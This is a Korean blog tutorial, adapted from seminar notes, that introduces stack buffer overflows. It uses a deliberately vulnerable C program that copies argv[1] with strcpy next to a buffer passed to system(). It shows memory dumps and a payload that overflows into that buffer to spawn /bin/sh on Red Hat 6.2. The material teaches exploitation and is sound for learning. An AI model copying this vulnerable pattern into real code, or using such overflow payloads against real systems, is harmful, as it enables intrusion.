최초작성일 : 2017/04/02
이 글은 예전 세미나 용도로 작성해뒀던 자료를 각색하였음
1. BOF(Buffer Overflow) 개요
[위키피디아(위키백과)] http://ko.wikipedia.org/wiki/%EB%B2%84%ED%8D%BC_%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C
버퍼 오버플로(buffer overflow) 또는 버퍼 오버런(buffer overrun)은 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다. 컴퓨터 보안과 프로그래밍에서 이는 프로세스가 데이터를 버퍼에 저장할 때 프로그래머가 지정한 곳 바깥에 저장하는 것이다. 벗어난 데이터는 인접 메모리를 덮어 쓰게 되는데 다른 데이터가 포함되어 있을 수도 있는데, 손상을 받을 수 있는 데이터는 프로그램 변수와 프로그램 흐름 제어 데이터도 포함된다. 이로 인해 잘못된 프로그램 거동이 나타날 수 있으며, 메모리 접근 오류, 잘못된 결과, 프로그램 종료, 또는 시스템 보안 누설이 발생할 수 있다.
[네이버 지식백과] 버퍼 오버플로 [buffer overflow] (컴퓨터인터넷IT용어대사전, 2011.1.20, 일진사)
서버에서 가동되고 있는 프로그램에, 설정되어 있는 수신 용량보다 훨씬 큰 용량의 데이터를 한꺼번에 보낼 때 서비스가 정지되는 상태. 보낸 데이터에 특수한 실행 프로그램을 넣어두면, 정지시킨 서비스가 관리자 권한으로 움직이는 경우에 그 특수한 프로그램이 관리자 권한으로 동작한다. 이렇게 하여 서버에 침입하여 다양한 공격을 한다. 버퍼 오버 플로는 응용 프로그램을 이용하여 보내진 데이터가 수신 용량을 넘는지를 체크하도록 해두면 막을 수 있다 .
결국 Buffer Overflow란... 1) 정해진 메모리보다 많은 데이터를 입력 받아 특정 영역을 덮음으로써 프로그램 흐름을 바꿔 공격자가 원하는 코드를 실행하는 공격 <Phrack Magazine 49-14>, Aleph One 2) 입력 값의 길이를 올바르게 검사하지 않아 생기는 취약점 프로그램의 실행 흐름을 바꾸어 특정 코드가 실행되게 하는 기법 |
2. 참고사항
이 문서는 단순히 이어져있는 buffer를 overflow하여 BOF를 성공적으로 수행하는 내용을 설명한다.
3. 실습
OS 환경 (redhat 6.2 버전이 BOF 입문자가 실습하기 매우 좋은 환경임, random stack 이니 stack guard니 exec shield니 그런거 없음)
redhat 6.2 |
간단한 실습코드
// boftest.c #include <stdio.h> #include <dumpcode.h> int main(int argc, char *argv[]) { char buf[16]; char buf2[16]; if (argc != 2) { printf("Usage : %s arg\n“, argv[0]); exit(1); } strcpy(buf2, argv[1]); system(buf); dumpcode(buf2,64); } |
컴파일 후 아래와 같이 실행하면 command not found 에러를 발견할 수 있다.
command not found 는 shell이 어떤 명령을 실행했는데 해당 명령어를 발견하지 못했다는 의미이다.
즉, system(buf); 에 의해 무엇인가 실행이 되었지만 해당 command를 찾을 수 없다는 의미가 되겠다.
만약 buf2를 overflow해서 buf에 공격자가 원하는 값을 삽입할 수 있다면 해당 명령어를 실행할 수 있다!!
[demo@redhat6 demo]$ ./bof1 AAAAAAAAAAAA sh: 덠퓢x뙣?옹: command not found 0xbffffb68 41 41 41 41 41 41 41 41 41 41 41 41 00 fb ff bf AAAAAAAAAAAA.... 0xbffffb78 88 fb ff bf 8b 84 04 08 78 97 04 08 8c 97 04 08 ........x....... 0xbffffb88 a8 fb ff bf cb 09 03 40 02 00 00 00 d4 fb ff bf .......@........ 0xbffffb98 e0 fb ff bf 68 38 01 40 02 00 00 00 f0 83 04 08 ....h8.@........ |
stack 확인
./bof1 AAAAAAAAAAAA 실행 당시 stack 구조를 살펴보면 다음과 같다.
Low address | buf2 | AAAAAAAAAAAAAAAA + 00 fb ff bf +------------+ | buf | /bin/sh - system() - 88 fb ff bf 8b 84 04 08 78 97 04 08 8c 97 04 08 - command not found +------------+ | SFP | - a8 fb ff bf +------------+ | RET | - cb 09 03 40 +------------+ High address |
argument를 통해 입력 받는 값은 buf2에 저장된다. - strcpy(buf2, argv[1]);
우리는 buf2를 overflow 하여 buf에 우리가 실행할 명령어를 삽입하면 된다. - system(buf);
공격 payload를 구성하면 다음과 같다
[ buf2 ][ buf ][ sfp ][ ret ] buf2[16] : AAAAAAAAAAAAAAAA buf[16] : /bin/sh sfp : Stack Frame Pointer (ebp) ret : return address, 함수 복귀주소 참고 : 이 글에서는 stack frame pointer overflow 나 ret를 overflow 하지 않고 단순히 buffer를 overflow 하여 공격하는 방법을 다룬다. |
최종 공격 payload를 그려보면 다음과 같다
[ AAAAAAAAAAAAAAAA ][ /bin/sh ][ sfp ][ ret ] ~~~~~~ system()에 의해 실행된다. |
다음과 같이 공격을 실행하면 공격 의도대로 shell을 획득할 수 있다.
[demo@redhat6 demo]$ ./bof1 AAAAAAAAAAAAAAAA/bin/sh bash$ id uid=501(demo) gid=501(demo) groups=501(demo) |
BOF 개념 끝
'BOF' 카테고리의 다른 글
[windows] windows buffer overflow #3 (0) | 2017.04.01 |
---|---|
[windows] windows buffer overflow #2 (0) | 2017.04.01 |
[windows] windows buffer overflow #1 (0) | 2017.04.01 |